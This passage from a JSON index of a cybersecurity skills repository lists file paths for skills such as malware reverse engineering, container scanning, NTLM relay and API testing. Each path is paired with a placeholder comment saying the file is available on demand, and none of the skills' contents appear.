available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fpost-exploiting-microsoft-graph-with-graphrunner%2FSKILL.md -->","skills/post-exploiting-microsoft-graph-with-graphrunner/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fpost-exploiting-microsoft-graph-with-graphrunner%2Freferences%2Fapi-reference.md -->","skills/post-exploiting-microsoft-graph-with-graphrunner/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fpost-exploiting-microsoft-graph-with-graphrunner%2Freferences%2Fstandards.md -->","skills/prioritizing-vulnerabilities-with-cvss-scoring/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprioritizing-vulnerabilities-with-cvss-scoring%2FSKILL.md -->","skills/prioritizing-vulnerabilities-with-cvss-scoring/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprioritizing-vulnerabilities-with-cvss-scoring%2Fassets%2Ftemplate.md -->","skills/prioritizing-vulnerabilities-with-cvss-scoring/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprioritizing-vulnerabilities-with-cvss-scoring%2Freferences%2Fapi-reference.md -->","skills/prioritizing-vulnerabilities-with-cvss-scoring/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprioritizing-vulnerabilities-with-cvss-scoring%2Freferences%2Fstandards.md -->","skills/prioritizing-vulnerabilities-with-cvss-scoring/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprioritizing-vulnerabilities-with-cvss-scoring%2Freferences%2Fworkflows.md -->","skills/processing-stix-taxii-feeds/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprocessing-stix-taxii-feeds%2FSKILL.md -->","skills/processing-stix-taxii-feeds/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprocessing-stix-taxii-feeds%2Freferences%2Fapi-reference.md -->","skills/profiling-threat-actor-groups/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprofiling-threat-actor-groups%2FSKILL.md -->","skills/profiling-threat-actor-groups/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprofiling-threat-actor-groups%2Freferences%2Fapi-reference.md -->","skills/recovering-deleted-files-with-photorec/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frecovering-deleted-files-with-photorec%2FSKILL.md -->","skills/recovering-deleted-files-with-photorec/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frecovering-deleted-files-with-photorec%2Freferences%2Fapi-reference.md -->","skills/recovering-from-ransomware-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frecovering-from-ransomware-attack%2FSKILL.md -->","skills/recovering-from-ransomware-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frecovering-from-ransomware-attack%2Freferences%2Fapi-reference.md -->","skills/recovering-from-ransomware-attack/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frecovering-from-ransomware-attack%2Freferences%2Fstandards.md -->","skills/recovering-from-ransomware-attack/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frecovering-from-ransomware-attack%2Freferences%2Fworkflows.md -->","skills/red-teaming-llms-with-garak/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fred-teaming-llms-with-garak%2FSKILL.md -->","skills/red-teaming-llms-with-garak/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fred-teaming-llms-with-garak%2Freferences%2Fapi-reference.md -->","skills/red-teaming-llms-with-garak/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fred-teaming-llms-with-garak%2Freferences%2Fstandards.md -->","skills/relaying-ntlm-for-adcs-esc8/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frelaying-ntlm-for-adcs-esc8%2FSKILL.md -->","skills/relaying-ntlm-for-adcs-esc8/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frelaying-ntlm-for-adcs-esc8%2Freferences%2Fapi-reference.md -->","skills/relaying-ntlm-for-adcs-esc8/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frelaying-ntlm-for-adcs-esc8%2Freferences%2Fstandards.md -->","skills/remediating-s3-bucket-misconfiguration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fremediating-s3-bucket-misconfiguration%2FSKILL.md -->","skills/remediating-s3-bucket-misconfiguration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fremediating-s3-bucket-misconfiguration%2Freferences%2Fapi-reference.md -->","skills/reverse-engineering-android-malware-with-jadx/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-android-malware-with-jadx%2FSKILL.md -->","skills/reverse-engineering-android-malware-with-jadx/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-android-malware-with-jadx%2Freferences%2Fapi-reference.md -->","skills/reverse-engineering-dotnet-malware-with-dnspy/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-dotnet-malware-with-dnspy%2FSKILL.md -->","skills/reverse-engineering-dotnet-malware-with-dnspy/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-dotnet-malware-with-dnspy%2Freferences%2Fapi-reference.md -->","skills/reverse-engineering-ios-app-with-frida/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ios-app-with-frida%2FSKILL.md -->","skills/reverse-engineering-ios-app-with-frida/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ios-app-with-frida%2Fassets%2Ftemplate.md -->","skills/reverse-engineering-ios-app-with-frida/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ios-app-with-frida%2Freferences%2Fapi-reference.md -->","skills/reverse-engineering-ios-app-with-frida/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ios-app-with-frida%2Freferences%2Fstandards.md -->","skills/reverse-engineering-ios-app-with-frida/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ios-app-with-frida%2Freferences%2Fworkflows.md -->","skills/reverse-engineering-malware-with-ghidra/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-malware-with-ghidra%2FSKILL.md -->","skills/reverse-engineering-malware-with-ghidra/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-malware-with-ghidra%2Freferences%2Fapi-reference.md -->","skills/reverse-engineering-ransomware-encryption-routine/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ransomware-encryption-routine%2FSKILL.md -->","skills/reverse-engineering-ransomware-encryption-routine/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ransomware-encryption-routine%2Fassets%2Ftemplate.md -->","skills/reverse-engineering-ransomware-encryption-routine/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ransomware-encryption-routine%2Freferences%2Fapi-reference.md -->","skills/reverse-engineering-ransomware-encryption-routine/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ransomware-encryption-routine%2Freferences%2Fstandards.md -->","skills/reverse-engineering-ransomware-encryption-routine/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ransomware-encryption-routine%2Freferences%2Fworkflows.md -->","skills/reverse-engineering-rust-malware/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-rust-malware%2FSKILL.md -->","skills/reverse-engineering-rust-malware/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-rust-malware%2Fassets%2Ftemplate.md -->","skills/reverse-engineering-rust-malware/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-rust-malware%2Freferences%2Fapi-reference.md -->","skills/reverse-engineering-rust-malware/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-rust-malware%2Freferences%2Fstandards.md -->","skills/reverse-engineering-rust-malware/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-rust-malware%2Freferences%2Fworkflows.md -->","skills/scanning-container-images-with-grype/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-container-images-with-grype%2FSKILL.md -->","skills/scanning-container-images-with-grype/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-container-images-with-grype%2Fassets%2Ftemplate.md -->","skills/scanning-container-images-with-grype/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-container-images-with-grype%2Freferences%2Fapi-reference.md -->","skills/scanning-container-images-with-grype/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-container-images-with-grype%2Freferences%2Fstandards.md -->","skills/scanning-container-images-with-grype/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-container-images-with-grype%2Freferences%2Fworkflows.md -->","skills/scanning-containers-with-trivy-in-cicd/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-containers-with-trivy-in-cicd%2FSKILL.md -->","skills/scanning-containers-with-trivy-in-cicd/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-containers-with-trivy-in-cicd%2Fassets%2Ftemplate.md -->","skills/scanning-containers-with-trivy-in-cicd/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-containers-with-trivy-in-cicd%2Freferences%2Fapi-reference.md -->","skills/scanning-containers-with-trivy-in-cicd/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-containers-with-trivy-in-cicd%2Freferences%2Fstandards.md -->","skills/scanning-containers-with-trivy-in-cicd/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-containers-with-trivy-in-cicd%2Freferences%2Fworkflows.md -->","skills/scanning-docker-images-with-trivy/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-docker-images-with-trivy%2FSKILL.md -->","skills/scanning-docker-images-with-trivy/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-docker-images-with-trivy%2Fassets%2Ftemplate.md -->","skills/scanning-docker-images-with-trivy/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-docker-images-with-trivy%2Freferences%2Fapi-reference.md -->","skills/scanning-docker-images-with-trivy/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-docker-images-with-trivy%2Freferences%2Fstandards.md -->","skills/scanning-docker-images-with-trivy/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-docker-images-with-trivy%2Freferences%2Fworkflows.md -->","skills/scanning-iac-and-images-with-trivy/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-iac-and-images-with-trivy%2FSKILL.md -->","skills/scanning-iac-and-images-with-trivy/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-iac-and-images-with-trivy%2Freferences%2Fapi-reference.md -->","skills/scanning-iac-and-images-with-trivy/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-iac-and-images-with-trivy%2Freferences%2Fstandards.md -->","skills/scanning-infrastructure-with-nessus/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-infrastructure-with-nessus%2FSKILL.md -->","skills/scanning-infrastructure-with-nessus/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-infrastructure-with-nessus%2Fassets%2Ftemplate.md -->","skills/scanning-infrastructure-with-nessus/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-infrastructure-with-nessus%2Freferences%2Fapi-reference.md -->","skills/scanning-infrastructure-with-nessus/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-infrastructure-with-nessus%2Freferences%2Fstandards.md -->","skills/scanning-infrastructure-with-nessus/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-infrastructure-with-nessus%2Freferences%2Fworkflows.md -->","skills/scanning-kubernetes-manifests-with-kubesec/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-kubernetes-manifests-with-kubesec%2FSKILL.md -->","skills/scanning-kubernetes-manifests-with-kubesec/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-kubernetes-manifests-with-kubesec%2Fassets%2Ftemplate.md -->","skills/scanning-kubernetes-manifests-with-kubesec/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-kubernetes-manifests-with-kubesec%2Freferences%2Fapi-reference.md -->","skills/scanning-kubernetes-manifests-with-kubesec/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-kubernetes-manifests-with-kubesec%2Freferences%2Fstandards.md -->","skills/scanning-kubernetes-manifests-with-kubesec/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-kubernetes-manifests-with-kubesec%2Freferences%2Fworkflows.md -->","skills/scanning-network-with-nmap-advanced/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-network-with-nmap-advanced%2FSKILL.md -->","skills/scanning-network-with-nmap-advanced/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-network-with-nmap-advanced%2Freferences%2Fapi-reference.md -->","skills/securing-agentic-ai-tool-invocation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-agentic-ai-tool-invocation%2FSKILL.md -->","skills/securing-agentic-ai-tool-invocation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-agentic-ai-tool-invocation%2Freferences%2Fapi-reference.md -->","skills/securing-agentic-ai-tool-invocation/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-agentic-ai-tool-invocation%2Freferences%2Fstandards.md -->","skills/securing-api-gateway-with-aws-waf/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-api-gateway-with-aws-waf%2FSKILL.md -->","skills/securing-api-gateway-with-aws-waf/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-api-gateway-with-aws-waf%2Freferences%2Fapi-reference.md -->","skills/securing-aws-iam-permissions/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-aws-iam-permissions%2FSKILL.md -->","skills/securing-aws-iam-permissions/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-aws-iam-permissions%2Freferences%2Fapi-reference.md -->","skills/securing-aws-lambda-execution-roles/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-aws-lambda-execution-roles%2FSKILL.md -->","skills/securing-aws-lambda-execution-roles/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-aws-lambda-execution-roles%2Freferences%2Fapi-reference.md -->","skills/securing-azure-with-microsoft-defender/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-azure-with-microsoft-defender%2FSKILL.md -->","skills/securing-azure-with-microsoft-defender/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-azure-with-microsoft-defender%2Freferences%2Fapi-reference.md -->","skills/securing-container-registry-images/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-container-registry-images%2FSKILL.md -->","skills/securing-container-registry-images/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-container-registry-images%2Freferences%2Fapi-reference.md -->","skills/securing-container-registry-with-harbor/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-container-registry-with-harbor%2FSKILL.md -->","skills/securing-container-registry-with-harbor/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-container-registry-with-harbor%2Fassets%2Ftemplate.md -->","skills/securing-container-registry-with-harbor/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-container-registry-with-harbor%2Freferences%2Fapi-reference.md -->","skills/securing-container-registry-with-harbor/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-container-registry-with-harbor%2Freferences%2Fstandards.md -->","skills/securing-container-registry-with-harbor/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-container-registry-with-harbor%2Freferences%2Fworkflows.md -->","skills/securing-github-actions-workflows/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-github-actions-workflows%2FSKILL.md -->","skills/securing-github-actions-workflows/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-github-actions-workflows%2Fassets%2Ftemplate.md -->","skills/securing-github-actions-workflows/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-github-actions-workflows%2Freferences%2Fapi-reference.md -->","skills/securing-github-actions-workflows/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-github-actions-workflows%2Freferences%2Fstandards.md -->","skills/securing-github-actions-workflows/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-github-actions-workflows%2Freferences%2Fworkflows.md -->","skills/securing-helm-chart-deployments/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-helm-chart-deployments%2FSKILL.md -->","skills/securing-helm-chart-deployments/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-helm-chart-deployments%2Fassets%2Ftemplate.md -->","skills/securing-helm-chart-deployments/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-helm-chart-deployments%2Freferences%2Fapi-reference.md -->","skills/securing-helm-chart-deployments/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-helm-chart-deployments%2Freferences%2Fstandards.md -->","skills/securing-helm-chart-deployments/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-helm-chart-deployments%2Freferences%2Fworkflows.md -->","skills/securing-historian-server-in-ot-environment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-historian-server-in-ot-environment%2FSKILL.md -->","skills/securing-historian-server-in-ot-environment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-historian-server-in-ot-environment%2Freferences%2Fapi-reference.md -->","skills/securing-kubernetes-on-cloud/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-kubernetes-on-cloud%2FSKILL.md -->","skills/securing-kubernetes-on-cloud/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-kubernetes-on-cloud%2Freferences%2Fapi-reference.md -->","skills/securing-remote-access-to-ot-environment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-remote-access-to-ot-environment%2FSKILL.md -->","skills/securing-remote-access-to-ot-environment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-remote-access-to-ot-environment%2Freferences%2Fapi-reference.md -->","skills/securing-serverless-functions/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-serverless-functions%2FSKILL.md -->","skills/securing-serverless-functions/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-serverless-functions%2Freferences%2Fapi-reference.md -->","skills/testing-android-intents-for-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-android-intents-for-vulnerabilities%2FSKILL.md -->","skills/testing-android-intents-for-vulnerabilities/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-android-intents-for-vulnerabilities%2Fassets%2Ftemplate.md -->","skills/testing-android-intents-for-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-android-intents-for-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/testing-android-intents-for-vulnerabilities/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-android-intents-for-vulnerabilities%2Freferences%2Fstandards.md -->","skills/testing-android-intents-for-vulnerabilities/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-android-intents-for-vulnerabilities%2Freferences%2Fworkflows.md -->","skills/testing-api-authentication-weaknesses/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-authentication-weaknesses%2FSKILL.md -->","skills/testing-api-authentication-weaknesses/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-authentication-weaknesses%2Freferences%2Fapi-reference.md -->","skills/testing-api-for-broken-object-level-authorization/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-for-broken-object-level-authorization%2FSKILL.md -->","skills/testing-api-for-broken-object-level-authorization/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-for-broken-object-level-authorization%2Freferences%2Fapi-reference.md -->","skills/testing-api-for-mass-assignment-vulnerability/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-for-mass-assignment-vulnerability%2FSKILL.md -->","skills/testing-api-for-mass-assignment-vulnerability/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-for-mass-assignment-vulnerability%2Freferences%2Fapi-reference.md -->","skills/testing-api-security-with-owasp-top-10/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-security-with-owasp-top-10%2FSKILL.md -->","skills/testing-api-security-with-owasp-top-10/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-security-with-owasp-top-10%2Freferences%2Fapi-reference.md -->","skills/testing-cors-misconfiguration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-cors-misconfiguration%2FSKILL.md -->","skills/testing-cors-misconfiguration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-cors-misconfiguration%2Freferences%2Fapi-reference.md -->","skills/testing-for-broken-access-control/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-broken-access-control%2FSKILL.md -->","skills/testing-for-broken-access-control/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-broken-access-control%2Freferences%2Fapi-reference.md -->","skills/testing-for-business-logic-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-business-logic-vulnerabilities%2FSKILL.md -->","skills/testing-for-business-logic-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-business-logic-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/testing-for-email-header-injection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-email-header-injection%2FSKILL.md -->","skills/testing-for-email-header-injection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-email-header-injection%2Freferences%2Fapi-reference.md -->","skills/testing-for-host-header-injection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-host-header-injection%2FSKILL.md -->","skills/testing-for-host-header-injection/references/api-reference.md":"<!-- Skill available on-demand via 